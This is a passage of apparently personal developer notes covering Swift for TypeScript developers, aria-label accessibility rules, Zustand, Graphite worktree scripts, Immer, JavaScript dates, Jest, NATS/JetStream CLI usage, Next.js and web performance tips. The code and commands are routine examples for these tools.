    for url in urls {
        group.addTask {
            try await fetchData(url: url)
        }
    }

    var collected: [Data] = []
    for try await result in group {
        collected.append(result)
    }
    return collected
}

JSON handling (Codable)

TypeScript

interface User {
    id: number
    name: string
}
const json = JSON.stringify(user)
const parsed: User = JSON.parse(json)

Swift

// Codable = Encodable + Decodable (like serde)
struct User: Codable {
    let id: Int
    let name: String
    let email: String?

    // Custom key mapping (like serde rename)
    enum CodingKeys: String, CodingKey {
        case id
        case name
        case email
        case createdAt = "created_at"
    }
}

// Encode (stringify)
let user = User(id: 1, name: "Alice", email: nil)
let encoder = JSONEncoder()
encoder.outputFormatting = .prettyPrinted
let json = try encoder.encode(user)
let jsonString = String(data: json, encoding: .utf8)!

// Decode (parse)
let decoder = JSONDecoder()
let user = try decoder.decode(User.self, from: jsonData)

// Decode array
let users = try decoder.decode([User].self, from: jsonData)

// Date handling
let decoder = JSONDecoder()
decoder.dateDecodingStrategy = .iso8601

Generics

TypeScript

function first<T>(arr: T[]): T | undefined {
    return arr[0]
}

interface Container<T> {
    value: T
    map<U>(fn: (v: T) => U): Container<U>
}

Swift

// Generic function
func first<T>(_ array: [T]) -> T? {
    array.first
}

// Generic struct
struct Container<T> {
    let value: T

    func map<U>(_ transform: (T) -> U) -> Container<U> {
        Container<U>(value: transform(value))
    }
}

// Usage
let c = Container(value: 42)
let doubled = c.map { $0 * 2 }

// Constrained generics
func printDebug<T: CustomStringConvertible>(_ value: T) {
    print(value.description)
}

// Multiple constraints
func process<T: Codable & Equatable>(_ value: T) { }

// where clause
func combine<T, U>(_ a: T, _ b: U) -> String
where T: CustomStringConvertible, U: CustomStringConvertible {
    "\(a) \(b)"
}

Common SwiftUI patterns

Extracting subviews (like React components)

// Extract reusable views
struct BadgeView: View {
    let text: String
    let color: Color

    var body: some View {
        Text(text)
            .font(.caption)
            .padding(.horizontal, 8)
            .padding(.vertical, 4)
            .background(color.opacity(0.2))
            .foregroundStyle(color)
            .clipShape(Capsule())
    }
}

// Usage
BadgeView(text: "New", color: .blue)

View composition with ViewBuilder

// Like React children prop
struct Card<Content: View>: View {
    let title: String
    @ViewBuilder let content: Content

    var body: some View {
        VStack(alignment: .leading, spacing: 12) {
            Text(title).font(.headline)
            content
        }
        .padding()
        .background(.background)
        .clipShape(RoundedRectangle(cornerRadius: 12))
        .shadow(radius: 2)
    }
}

// Usage
Card(title: "Profile") {
    Text("Alice")
    Text("alice@example.com")
        .foregroundStyle(.secondary)
}

Custom modifiers (like styled-components)

struct CardModifier: ViewModifier {
    func body(content: Content) -> some View {
        content
            .padding()
            .background(.background)
            .clipShape(RoundedRectangle(cornerRadius: 12))
            .shadow(radius: 2)
    }
}

extension View {
    func cardStyle() -> some View {
        modifier(CardModifier())
    }
}

// Usage
Text("Hello")
    .cardStyle()

Testing

TypeScript (Jest)

describe('math', () => {
    it('adds numbers', () => {
        expect(add(1, 2)).toBe(3)
    })
})

Swift

import XCTest
@testable import MyApp

class MathTests: XCTestCase {
    func testAdd() {
        XCTAssertEqual(add(1, 2), 3)
    }

    func testAddNegative() {
        XCTAssertEqual(add(-1, 1), 0)
    }

    func testDivideByZero() {
        XCTAssertThrowsError(try divide(1, 0)) { error in
            XCTAssertEqual(error as? MathError, .divideByZero)
        }
    }

    // Async test
    func testFetchUser() async throws {
        let user = try await fetchUser(id: 1)
        XCTAssertEqual(user.name, "Alice")
    }
}

Common gotchas for TS developers

Value vs reference types - structs are copied, classes are shared
Optionals everywhere - must unwrap before use, no implicit coercion
$ prefix - creates a Binding for two-way data flow
View is a struct - views are value types, recreated on state change
some View - opaque return type, must return a single view type
Argument labels - function calls use labels: greet(person: "Alice")
self is explicit - required in closures and initializers
No spread operator - no ... equivalent for structs
Protocol-oriented - prefer protocols over inheritance
@State is private - local state, use @Binding to share with children

// Returning multiple view types requires Group or AnyView
var body: some View {
    // ERROR: different return types
    // if condition { Text("A") } else { Image("B") }

    // OK: Group wraps different types
    Group {
        if condition {
            Text("A")
        } else {
            Image("B")
        }
    }
}

Resources

aria-label notes

Zander Martineau — Wed, 04 Feb 2026 00:00:00 GMT

A summary of Steve Faulkner's comprehensive guide on aria-label usage.

General labeling rules

Prefer visible labels over hidden labels
Prefer text labels over icons (if icons, provide supplementary text on focus/hover)
Place visible labels as expected:
- Checkbox/radio: label immediately after the field
- Other inputs: label immediately before the field
Prefer native HTML labeling mechanisms over ARIA
Never use placeholder text as a label

Key points about aria-label

Works well on interactive elements (buttons, links, inputs)
Works well on structural/landmark elements (nav, main, section, article, aside, header, footer, form, dialog)
Works poorly or not at all on text-level semantics (span, div, p, strong, em, etc.)
Prohibited on elements with role=generic (div, span, b, i, etc.)
aria-labelledby overrides aria-label, which overrides all other name sources
Empty aria-label="" does nothing (unlike alt="" which signals decorative image)

When aria-label masks content

On some elements, aria-label masks visible text — only the aria-label is announced:

<!-- Only "some text" is announced, not "home page" -->
<a href="home.html" aria-label="some text">home page</a>

<!-- Only "some text" is announced, not "open" -->
<button aria-label="some text">open</button>

Be wary of WCAG 2.5.3 Label in Name issues when aria-label differs from visible text.

When aria-label does NOT mask content

On landmark/structural elements, aria-label is announced alongside content when navigated to:

article, aside, details, dialog, fieldset, figure
footer, form, header, main, nav, section, search

Prefer native HTML attributes

Element	Use instead of aria-label
`img`	`alt` attribute
`input type="image"`	`alt` attribute
`area`	`alt` attribute
`iframe`	`title` attribute
`input`, `select`, `textarea`	`<label>` element
`table`	`<caption>` element
`fieldset`	`<legend>` element
`optgroup`, `option`	`label` attribute

Elements where aria-label is NOT well supported

h1–h6 (works in NVDA/VoiceOver, not JAWS)
address, blockquote, dd, dt, dfn, li
summary, output
Table parts: tbody, tfoot, thead, td, th, tr

Elements where aria-label is prohibited

Any element mapping to role=generic:

a (without href), b, bdi, bdo, body, br, cite, code, data, del, div, em, i, ins, kbd, label, mark, p, pre, q, rp, rt, ruby, s, samp, small, span, strong, sub, sup, time, u, var, wbr

Zustand

Zander Martineau — Wed, 04 Feb 2026 00:00:00 GMT

Create a store

Your store is a hook. State must be updated immutably and set merges state by default.

import { create } from "zustand";

interface BearState {
  bears: number;
  increasePopulation: () => void;
  removeAllBears: () => void;
}

const useBearStore = create<BearState>()((set) => ({
  bears: 0,
  increasePopulation: () => set((state) => ({ bears: state.bears + 1 })),
  removeAllBears: () => set({ bears: 0 }),
}));

Use in components

No providers needed. Select state and the component re-renders on changes.

function BearCounter() {
  const bears = useBearStore((state) => state.bears);
  return <h1>{bears} around here...</h1>;
}

function Controls() {
  const increasePopulation = useBearStore((state) => state.increasePopulation);
  return <button onClick={increasePopulation}>one up</button>;
}

Selecting multiple state slices

Use useShallow to prevent unnecessary rerenders when selecting multiple values.

import { useShallow } from "zustand/react/shallow";

// Object pick
const { nuts, honey } = useBearStore(
  useShallow((state) => ({ nuts: state.nuts, honey: state.honey })),
);

// Array pick
const [nuts, honey] = useBearStore(
  useShallow((state) => [state.nuts, state.honey]),
);

Async actions

Just call set when ready. Zustand doesn't care if actions are async.

const useFishStore = create<FishState>()((set) => ({
  fishies: {},
  fetch: async (pond: string) => {
    const response = await fetch(pond);
    set({ fishies: await response.json() });
  },
}));

Reading state in actions

Use get to access state outside of set.

const useSoundStore = create<SoundState>()((set, get) => ({
  sound: "grunt",
  action: () => {
    const sound = get().sound;
    // ...
  },
}));

Access state outside components

// Get non-reactive fresh state
const paw = useDogStore.getState().paw;

// Update state
useDogStore.setState({ paw: false });

// Subscribe to all changes
const unsub = useDogStore.subscribe(console.log);
unsub(); // unsubscribe

Overwriting state

The second argument to set replaces state instead of merging (default false).

const useFishStore = create<FishState>()((set) => ({
  salmon: 1,
  tuna: 2,
  deleteEverything: () => set({}, true), // clears entire store
}));

Persist middleware

Persist store data to localStorage or other storage.

import { create } from "zustand";
import { persist, createJSONStorage } from "zustand/middleware";

const useFishStore = create(
  persist(
    (set, get) => ({
      fishes: 0,
      addAFish: () => set({ fishes: get().fishes + 1 }),
    }),
    {
      name: "fish-storage", // unique name in storage
      storage: createJSONStorage(() => sessionStorage), // default: localStorage
    },
  ),
);

Immer middleware

Use Immer for mutable state updates.

import { create } from "zustand";
import { immer } from "zustand/middleware/immer";

const useBeeStore = create(
  immer((set) => ({
    bees: 0,
    addBees: (by: number) =>
      set((state) => {
        state.bees += by;
      }),
  })),
);

Redux DevTools

import { devtools } from "zustand/middleware";

const useBearStore = create(
  devtools(
    (set) => ({
      bears: 0,
      increase: (by: number) =>
        set(
          (state) => ({ bears: state.bears + by }),
          undefined,
          "bear/increase", // action name for devtools
        ),
    }),
    { name: "BearStore" },
  ),
);

Combining middleware

import { create } from "zustand";
import { devtools, persist } from "zustand/middleware";
import type {} from "@redux-devtools/extension"; // required for devtools typing

interface BearState {
  bears: number;
  increase: (by: number) => void;
}

const useBearStore = create<BearState>()(
  devtools(
    persist(
      (set) => ({
        bears: 0,
        increase: (by) => set((state) => ({ bears: state.bears + by })),
      }),
      { name: "bear-storage" },
    ),
  ),
);

Subscribe with selector

Use subscribeWithSelector middleware to subscribe to specific state changes.

import { subscribeWithSelector } from "zustand/middleware";

const useDogStore = create(
  subscribeWithSelector(() => ({ paw: true, snout: true })),
);

// Subscribe to specific state changes
const unsub = useDogStore.subscribe(
  (state) => state.paw,
  (paw, previousPaw) => console.log(paw, previousPaw),
);

Vanilla store (without React)

import { createStore } from "zustand/vanilla";

const store = createStore((set) => ({
  count: 0,
  increment: () => set((state) => ({ count: state.count + 1 })),
}));

const { getState, setState, subscribe } = store;

Use with React via useStore:

import { useStore } from "zustand";
import { vanillaStore } from "./vanillaStore";

const useBoundStore = (selector) => useStore(vanillaStore, selector);

Transient updates

Subscribe without causing re-renders for performance-critical updates.

const Component = () => {
  const scratchRef = useRef(useScratchStore.getState().scratches);

  useEffect(
    () =>
      useScratchStore.subscribe((state) => {
        scratchRef.current = state.scratches;
      }),
    [],
  );
  // ...
};

Context for dependency injection

Use vanilla store with React context when you need providers.

import { createContext, useContext } from 'react'
import { createStore, useStore } from 'zustand'

const store = createStore(...)
const StoreContext = createContext(store)

const App = () => (
  <StoreContext.Provider value={store}>
    <Component />
  </StoreContext.Provider>
)

const Component = () => {
  const store = useContext(StoreContext)
  const slice = useStore(store, (state) => state.value)
  // ...
}

Git worktrees with Graphite

Zander Martineau — Tue, 27 Jan 2026 00:00:00 GMT

Using worktrees with Graphite is a bit painful, so I made some shell scripts that integrate with Worktrunk to make the process a lot easier

Fishshell script

gt-wt-create.fish

# gt-wt-create: Create a new Graphite-tracked branch and switch to its worktree
#
# Requirements:
# - Graphite CLI (gt): https://graphite.dev/
# - Worktrunk CLI (wt): https://worktrunk.dev/
#
# Usage: gt-wt-create <branchName>
#
# Development Workflow:
# 1. Run this function to create and switch to a new worktree branch
# 2. Use `gt modify` to make your initial changes (not `gt create`, branch is already checked out)
# 3. Use normal gt operations for submitting and stacking (`gt submit`, `gt create` for stacks, etc.)
#
# When done with a stack:
# 1. Run `gt sync`
# 2. Do NOT accept deleting your worktree branches when prompted
# 3. Checkout your worktree branch and rebase it to main
# 4. Proceed with new work from there

function gt-wt-create
    if test (count $argv) -ne 1
        echo "Usage: gt-wt-create <branchName>"
        return 1
    end

    set branchName $argv[1]

    git branch $branchName
    git switch $branchName
    gt track
    git switch main
    wt switch $branchName
end

Bash script

gt-wt-create.sh

# gt-wt-create: Create a new Graphite-tracked branch and switch to its worktree
#
# Requirements:
# - Graphite CLI (gt): https://graphite.dev/
# - Worktrunk CLI (wt): https://worktrunk.dev/
#
# Usage: gt-wt-create <branchName>
#
# Development Workflow:
# 1. Run this function to create and switch to a new worktree branch
# 2. Use `gt modify` to make your initial changes (not `gt create`, branch is already checked out)
# 3. Use normal gt operations for submitting and stacking (`gt submit`, `gt create` for stacks, etc.)
#
# When done with a stack:
# 1. Run `gt sync`
# 2. Do NOT accept deleting your worktree branches when prompted
# 3. Checkout your worktree branch and rebase it to main
# 4. Proceed with new work from there

gt-wt-create() {
    if [ -z "$1" ]; then
        echo "Usage: gt-wt-create <branchName>"
        return 1
    fi

    branchName="$1"

    git branch "$branchName"
    git switch "$branchName"
    gt track
    git switch main
    wt switch "$branchName"
}

Graphite CLI

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Command	Alias	Description
`gt log short`	`gt ls`	Run any time branches are created/manipulated/changed
`gt create --all --message <COMMIT_MESSAGE>`	`gt c -am <COMMIT_MESSAGE>`	Create changes, stage the changes, create a new branch and commit the changes to the new branch all at once
`gt submit --stack`	`gt ss`	Submit your changes across all PRs on a stack
`gt submit --stack --update-only`	`gt ss -u`	Update all PRs for branches in your stack that already have PRs, but do not create new ones
`gt modify`	`gt m -a`	Update an existing branch with all new changes by amending the existing commit on that branch
`gt modify --all --commit --message <COMMIT_MESSAGE>`	`gt m -cam <COMMIT_MESSAGE>`	Update an existing branch with all new changes by creating an entirely new commit on that branch
`gt sync --force`	`gt sync -f`	Pull your trunk branch, automatically clean up any branches corresponding to merged PRs, and restack any branches that do not conflict.

Immer

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Basic example

Immer lets you write mutable-looking code that produces immutable updates. You write code as if you're directly modifying the object, but Immer produces a new immutable copy.

import { produce } from 'immer'

const baseState = {
  name: 'Michel',
  age: 33,
}

const nextState = produce(baseState, (draft) => {
  draft.age = 34
})

console.log(baseState.age) // 33 (unchanged)
console.log(nextState.age) // 34 (new object)

With current state

Use current() to get a snapshot of the draft at any point:

import { produce, current } from 'immer'

const nextState = produce(baseState, (draft) => {
  draft.items.push({ id: 1 })
  console.log(current(draft)) // logs the current draft state
})

useImmer

The use-immer package provides hooks that combine React state with Immer.

npm install immer use-immer

import { useImmer } from 'use-immer'

function App() {
  const [person, updatePerson] = useImmer({
    name: 'Michel',
    age: 33,
  })

  function updateName(name) {
    updatePerson((draft) => {
      draft.name = name
    })
  }

  function becomeOlder() {
    updatePerson((draft) => {
      draft.age++
    })
  }

  return (
    <div className="App">
      <h1>
        Hello {person.name} ({person.age})
      </h1>
      <input
        onChange={(e) => {
          updateName(e.target.value)
        }}
        value={person.name}
      />
      <br />
      <button onClick={becomeOlder}>Older</button>
    </div>
  )
}

Update patterns

https://immerjs.github.io/immer/docs/update-patterns

Object mutations

import { produce } from 'immer'

const todosObj = {
  id1: { done: false, body: 'Take out the trash' },
  id2: { done: false, body: 'Check Email' },
}

// add
const addedTodosObj = produce(todosObj, (draft) => {
  draft['id3'] = { done: false, body: 'Buy bananas' }
})

// delete
const deletedTodosObj = produce(todosObj, (draft) => {
  delete draft['id1']
})

// update
const updatedTodosObj = produce(todosObj, (draft) => {
  draft['id1'].done = true
})

Array mutations

import { produce } from 'immer'

const todosArray = [
  { id: 'id1', done: false, body: 'Take out the trash' },
  { id: 'id2', done: false, body: 'Check Email' },
]

// add
const addedTodosArray = produce(todosArray, (draft) => {
  draft.push({ id: 'id3', done: false, body: 'Buy bananas' })
})

// delete by index
const deletedTodosArray = produce(todosArray, (draft) => {
  draft.splice(3 /*the index */, 1)
})

// update by index
const updatedTodosArray = produce(todosArray, (draft) => {
  draft[3].done = true
})

// insert at index
const updatedTodosArray = produce(todosArray, (draft) => {
  draft.splice(3, 0, { id: 'id3', done: false, body: 'Buy bananas' })
})

// remove last item
const updatedTodosArray = produce(todosArray, (draft) => {
  draft.pop()
})

// remove first item
const updatedTodosArray = produce(todosArray, (draft) => {
  draft.shift()
})

// add item at the beginning of the array
const addedTodosArray = produce(todosArray, (draft) => {
  draft.unshift({ id: 'id3', done: false, body: 'Buy bananas' })
})

// delete by id
const deletedTodosArray = produce(todosArray, (draft) => {
  const index = draft.findIndex((todo) => todo.id === 'id1')
  if (index !== -1) draft.splice(index, 1)
})

// update by id
const updatedTodosArray = produce(todosArray, (draft) => {
  const index = draft.findIndex((todo) => todo.id === 'id1')
  if (index !== -1) draft[index].done = true
})

// filtering items
const updatedTodosArray = produce(todosArray, (draft) => {
  // creating a new state is simpler in this example
  // (note that we don't need produce in this case,
  // but as shown below, if the filter is not on the top
  // level produce is still pretty useful)
  return draft.filter((todo) => todo.done)
})

Nested data structures

import { produce } from 'immer'

// example complex data structure
const store = {
  users: new Map([
    [
      '17',
      {
        name: 'Michel',
        todos: [
          {
            title: 'Get coffee',
            done: false,
          },
        ],
      },
    ],
  ]),
}

// updating something deeply in-an-object-in-an-array-in-a-map-in-an-object:
const nextStore = produce(store, (draft) => {
  draft.users.get('17').todos[0].done = true
})

// filtering out all unfinished todo's
const nextStore = produce(store, (draft) => {
  const user = draft.users.get('17')
  // when filtering, creating a fresh collection is simpler than
  // removing irrelvant items
  user.todos = user.todos.filter((todo) => todo.done)
})

JavaScript dates

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

The Unix epoch (or Unix time or POSIX time or Unix timestamp) is the number of seconds that have elapsed since January 1, 1970 (midnight UTC/GMT), not counting leap seconds (in ISO 8601: 1970-01-01T00:00:00Z). Literally speaking the epoch is Unix time 0 (midnight 1/1/1970), but 'epoch' is often used as a synonym for Unix time.

Human-readable time	Seconds	Milliseconds
1 second	1	1000 ms
1 minute	60 s	60,000 ms
1 hour	3,600 s	3,600,000 ms
1 day	86,400 s	86,400,000 ms
1 week	604,800 s	604,800,000 ms
1 month	2,629,746 s	2,629,746,000 ms
1 year	31,556,952 s	31,556,952,000 ms

Get the current epoch time

The getTime() method returns the time in milliseconds.

Math.floor(new Date().getTime() / 1000.0) // 1676457318

Convert from epoch to human-readable date

const date = new Date(1676457318 * 1000) // Wed Feb 15 2023 10:35:18 GMT+0000 (Greenwich Mean Time)

Date methods

date.toDateString() // 'Wed Feb 15 2023'
date.toJSON() // '2023-02-15T10:35:18.000Z'
date.toUTCString() // 'Wed, 15 Feb 2023 10:35:18 GMT'
date.toLocaleString() // '2/15/2023, 10:35:18 AM'
date.toLocaleTimeString() // '10:35:18 AM'
date.getDate() // 15
date.getTime() // 1676457318000
date.getUTCDay() // 3
date.getMinutes() // 35
date.getHours() // 10
date.getMonth() // 1 - months are zero-indexed
date.getFullYear() // 2023

Formatting with Intl.DateTimeFormat

For more control over date formatting without external libraries:

const date = new Date()

// Basic formatting
new Intl.DateTimeFormat('en-GB').format(date) // '15/02/2023'
new Intl.DateTimeFormat('en-US').format(date) // '2/15/2023'

// With options
new Intl.DateTimeFormat('en-US', {
  weekday: 'long',
  year: 'numeric',
  month: 'long',
  day: 'numeric',
}).format(date) // 'Wednesday, February 15, 2023'

// Relative time
const rtf = new Intl.RelativeTimeFormat('en', { numeric: 'auto' })
rtf.format(-1, 'day') // 'yesterday'
rtf.format(2, 'hour') // 'in 2 hours'

Date.now() shorthand

Date.now() // 1676457318000 (current timestamp in ms)

ISO string parsing

new Date('2023-02-15T10:35:18.000Z') // Parses ISO 8601 format

Jest

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

For new projects, consider using Vitest instead. It's faster, has better ESM support, and is compatible with most Jest APIs.

Basic test skeleton

describe('MyFunction', () => {
  it('should do something', () => {
    // Arrange
    const input = 'test'

    // Act
    const result = myFunction(input)

    // Assert
    expect(result).toBe('expected')
  })
})

Use Jest globals

import { expect, test, describe, beforeEach, jest } from '@jest/globals'

test('two plus two is four', () => {
  expect(2 + 2).toBe(4)
})

Mocking

Mock a function

const mockFn = jest.fn()
mockFn.mockReturnValue('mocked value')
mockFn.mockResolvedValue('async mocked value')

// Check calls
expect(mockFn).toHaveBeenCalled()
expect(mockFn).toHaveBeenCalledWith('arg1', 'arg2')
expect(mockFn).toHaveBeenCalledTimes(2)

Mock a module

jest.mock('./myModule', () => ({
  myFunction: jest.fn(() => 'mocked'),
}))

Spy on a method

const spy = jest.spyOn(object, 'method')
expect(spy).toHaveBeenCalled()
spy.mockRestore()

Async testing

test('async function', async () => {
  const result = await fetchData()
  expect(result).toEqual({ data: 'value' })
})

test('resolves correctly', async () => {
  await expect(fetchData()).resolves.toEqual({ data: 'value' })
})

test('rejects with error', async () => {
  await expect(failingFetch()).rejects.toThrow('Network error')
})

Testing throws

test('throws on invalid input', () => {
  expect(() => formatDate('invalid')).toThrow('Date string wrong format')
  expect(() => formatDate('invalid')).toThrow(Error)
  expect(() => formatDate('invalid')).toThrowErrorMatchingInlineSnapshot(
    `"Date string wrong format"`
  )
})

Matchers cheatsheet

// Equality
expect(value).toBe(exact)           // strict equality (===)
expect(value).toEqual(obj)          // deep equality
expect(value).toStrictEqual(obj)    // deep equality + undefined props

// Truthiness
expect(value).toBeTruthy()
expect(value).toBeFalsy()
expect(value).toBeNull()
expect(value).toBeUndefined()
expect(value).toBeDefined()

// Numbers
expect(value).toBeGreaterThan(3)
expect(value).toBeLessThan(5)
expect(value).toBeCloseTo(0.3, 5)   // for floats

// Strings
expect(string).toMatch(/pattern/)
expect(string).toContain('substring')

// Arrays
expect(array).toContain(item)
expect(array).toHaveLength(3)
expect(array).toContainEqual({ id: 1 })

// Objects
expect(object).toHaveProperty('key')
expect(object).toHaveProperty('key', 'value')
expect(object).toMatchObject({ subset: true })

Native image lazy loading

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

<img src="image.jpg" alt="Description" loading="lazy" width="800" height="600" />

Always include width and height attributes to prevent layout shift while the image loads.

Values

lazy: Defer loading until it reaches a calculated distance from viewport
eager: Load the resource immediately
auto: Browser default (typically eager)

When to use

✅ Images below the fold (not immediately visible)
✅ Images in long lists or feeds
❌ Hero images or LCP (Largest Contentful Paint) images - use eager or omit the attribute
❌ Images already in the viewport on load

With iframes

<iframe src="video-player.html" loading="lazy"></iframe>

`fetchpriority` for important images

For above-the-fold images, use fetchpriority to load them faster:

<img src="hero.jpg" alt="Hero" fetchpriority="high" />

References

NATS & JetStream

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

What is NATS?

NATS is a lightweight, high-performance messaging system for cloud-native applications, microservices, and IoT, utilizing a publish-subscribe model for efficient communication.

Key functions include:

Data Synchronization: Keeps data synchronized across network actors
Message Handling: Publishes and subscribes to lightweight messages
Multi-tenancy Support: Isolates clients for enhanced security and flexibility
Integration: Connects with systems like Snowflake for low-latency data analytics

Core NATS

Core NATS operates on a publish-subscribe model using subject/topic-based addressing. This offers two significant advantages: location independence and a default many-to-many (M:N) communication pattern. These enable powerful solutions for common development patterns like microservices, without requiring load balancers, API gateways, or DNS configuration.

Core NATS provides at-most-once (best-effort) message delivery. JetStream adds persistence with at-least-once and exactly-once semantics.

Concept	Description
Subjects	Hierarchical, dot-separated strings (e.g., `orders.us.new`)
`*` wildcard	Matches a single token
`>` wildcard	Matches all remaining tokens
Pub/Sub	One-to-many fan-out messaging
Request/Reply	One-to-one with built-in reply subject

CLI Installation

brew tap nats-io/nats-tools
brew install nats-io/nats-tools/nats

CLI Help

nats -h
nats cheat
nats cheat sub
nats cheat pub

Core Messaging CLI

Command	Description
`nats pub <subject> <message>`	Publish a message to a subject
`nats sub <subject>`	Subscribe and listen for messages
`nats request <subject> <data>`	Send request and wait for reply
`nats reply <subject> <data>`	Listen for requests and send replies
`nats bench <subject>`	Run a performance benchmark

JetStream

JetStream is the built-in persistence engine providing at-least-once or exactly-once delivery.

Concept	Description
Streams	Message stores capturing data published to specific subjects
Consumers	Stateful views tracking delivered/acknowledged messages
Pull Consumer	Client requests batches of messages (recommended for scalability)
Push Consumer	Server delivers messages to a specified subject

Stream Management

Command	Description
`nats account info`	Check JetStream status and account limits
`nats stream add <name>`	Create a new stream (interactive)
`nats stream ls`	List all streams
`nats stream info <name>`	View stream config and state
`nats stream view <name>`	Browse messages in a stream
`nats stream rm <name>`	Delete a stream
`nats stream purge <name>`	Purge all messages from a stream
`nats stream edit <name>`	Edit stream configuration

Consumer Management

Command	Description
`nats consumer add <stream>`	Create a consumer (interactive)
`nats consumer ls <stream>`	List consumers for a stream
`nats consumer info <stream> <consumer>`	View consumer state
`nats consumer next <stream> <consumer>`	Fetch next message (pull consumer)
`nats consumer rm <stream> <consumer>`	Delete a consumer

Key-Value Store

Command	Description
`nats kv add <bucket>`	Create a KV bucket
`nats kv put <bucket> <key> <value>`	Set a key
`nats kv get <bucket> <key>`	Get a key
`nats kv del <bucket> <key>`	Delete a key
`nats kv ls <bucket>`	List keys in a bucket
`nats kv rm <bucket>`	Delete a bucket
`nats kv watch <bucket>`	Watch for changes

Object Store

Command	Description
`nats obj add <bucket>`	Create an object store bucket
`nats obj put <bucket> <file>`	Upload a file
`nats obj get <bucket> <name>`	Download a file
`nats obj ls <bucket>`	List objects
`nats obj rm <bucket>`	Delete a bucket

Server

Command	Description
`nats-server`	Start NATS server
`nats-server -js`	Start with JetStream enabled
`nats-server -m 8222`	Enable HTTP monitoring on port 8222
`nats server info`	View connected server info
`nats server ping`	Ping all servers in cluster

Config Example (`server.conf`)

jetstream {
  store_dir: "/data/nats-jetstream"
  max_mem: 1G
  max_file: 10G
}

Context Management

Contexts save common connection config (server, credentials) for reuse.

Command	Description
`nats context save <name> --server <url> --creds <file>`	Create a context
`nats context select <name>`	Switch to a context
`nats context ls`	List available contexts
`nats context rm <name>`	Remove a context

Example: Create and Use a Context

# Save a context with server and credentials
nats context save mycontext --server nats.example.com --creds ~/my.creds

# Subscribe using a context
nats sub --context mycontext "prices.>"

# Publish using a context
nats pub --context mycontext "prices.USD" "1.25"

Examples

Subscribe to a Subject

nats --server nats.example.com sub "prices.>"
nats --server 10.20.125.100 sub 'test.subject'

Publish Messages

# Simple message
nats pub subject_name "Hello World"

# JSON payload
nats pub subject_name '{"key": "value", "number": 42}'

# Publish from file
cat data.json | nats pub subject_name

Next.js

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

App Router (Next.js 13+)

The App Router uses a new app/ directory structure with file-based conventions.

File conventions

File	Purpose
`page.tsx`	UI for a route
`layout.tsx`	Shared layout that wraps children
`loading.tsx`	Loading UI (Suspense boundary)
`error.tsx`	Error UI (Error boundary)
`not-found.tsx`	404 UI
`route.ts`	API endpoint

Root layout

// app/layout.tsx
export default function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  )
}

Page with params

// app/posts/[slug]/page.tsx
interface PageProps {
  params: Promise<{ slug: string }>
}

export default async function PostPage({ params }: PageProps) {
  const { slug } = await params
  const post = await getPost(slug)
  return <article>{post.title}</article>
}

Server Components (default)

Components in the App Router are Server Components by default. They can be async and fetch data directly.

// app/users/page.tsx
async function getUsers() {
  const res = await fetch('https://api.example.com/users', {
    cache: 'no-store', // or 'force-cache' for static
  })
  return res.json()
}

export default async function UsersPage() {
  const users = await getUsers()
  return (
    <ul>
      {users.map((user) => (
        <li key={user.id}>{user.name}</li>
      ))}
    </ul>
  )
}

Client Components

Add 'use client' directive for interactivity.

'use client'

import { useState } from 'react'

export function Counter() {
  const [count, setCount] = useState(0)
  return <button onClick={() => setCount(count + 1)}>Count: {count}</button>
}

Server Actions

// app/actions.ts
'use server'

export async function createPost(formData: FormData) {
  const title = formData.get('title')
  // Insert into database
  // revalidatePath('/posts')
}

// app/posts/new/page.tsx
import { createPost } from '../actions'

export default function NewPost() {
  return (
    <form action={createPost}>
      <input name="title" required />
      <button type="submit">Create</button>
    </form>
  )
}

Route Handlers (API routes)

// app/api/users/route.ts
import { NextResponse } from 'next/server'

export async function GET() {
  const users = await getUsers()
  return NextResponse.json(users)
}

export async function POST(request: Request) {
  const body = await request.json()
  const user = await createUser(body)
  return NextResponse.json(user, { status: 201 })
}

Metadata

// app/layout.tsx or app/page.tsx
import type { Metadata } from 'next'

export const metadata: Metadata = {
  title: 'My App',
  description: 'My app description',
}

Dynamic metadata:

// app/posts/[slug]/page.tsx
import type { Metadata } from 'next'

export async function generateMetadata({ params }): Promise<Metadata> {
  const { slug } = await params
  const post = await getPost(slug)
  return { title: post.title }
}

Navigation

import Link from 'next/link'
import { useRouter } from 'next/navigation' // not 'next/router'

// Link component
<Link href="/about">About</Link>

// Programmatic navigation (client components only)
const router = useRouter()
router.push('/about')

Pages Router (Legacy)

`_app.tsx`

import type { AppProps } from 'next/app'

export default function App({ Component, pageProps }: AppProps) {
  return <Component {...pageProps} />
}

`getStaticProps`

Fetch data at build time.

import type { GetStaticProps, InferGetStaticPropsType } from 'next'

export const getStaticProps: GetStaticProps<{ data: Post[] }> = async () => {
  const res = await fetch('https://...')
  const data = await res.json()

  return {
    props: { data },
    revalidate: 60, // ISR: regenerate every 60 seconds
  }
}

export default function Page({
  data,
}: InferGetStaticPropsType<typeof getStaticProps>) {
  return <div>{/* render data */}</div>
}

`getStaticPaths`

For dynamic routes with getStaticProps.

import type { GetStaticPaths } from 'next'

export const getStaticPaths: GetStaticPaths = async () => {
  const posts = await getPosts()
  return {
    paths: posts.map((post) => ({ params: { slug: post.slug } })),
    fallback: 'blocking', // or true or false
  }
}

`getServerSideProps`

Fetch data on every request.

import type { GetServerSideProps } from 'next'

export const getServerSideProps: GetServerSideProps = async (context) => {
  const { params, req, res, query } = context
  const data = await fetchData(params.id)

  if (!data) {
    return { notFound: true }
  }

  return { props: { data } }
}

useRouter (Pages Router)

import { useRouter } from 'next/router'

export default function Page() {
  const router = useRouter()
  const { id } = router.query

  return <button onClick={() => router.push('/about')}>Go to About</button>
}

Web performance tips

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Reduce Cumulative Layout Shift (CLS)

Always show scrollbar

html {
  overflow-y: scroll;
}

Reserve space for images

Always include width and height on images:

<img src="photo.jpg" alt="" width="800" height="600" />

Or use aspect-ratio in CSS:

img {
  aspect-ratio: 16 / 9;
  width: 100%;
  height: auto;
}

Reserve space for dynamic content

.ad-container {
  min-height: 250px; /* Reserve space for ad */
}

Improve Largest Contentful Paint (LCP)

Preload critical assets

<link rel="preload" href="hero.jpg" as="image" />
<link rel="preload" href="critical.woff2" as="font" type="font/woff2" crossorigin />

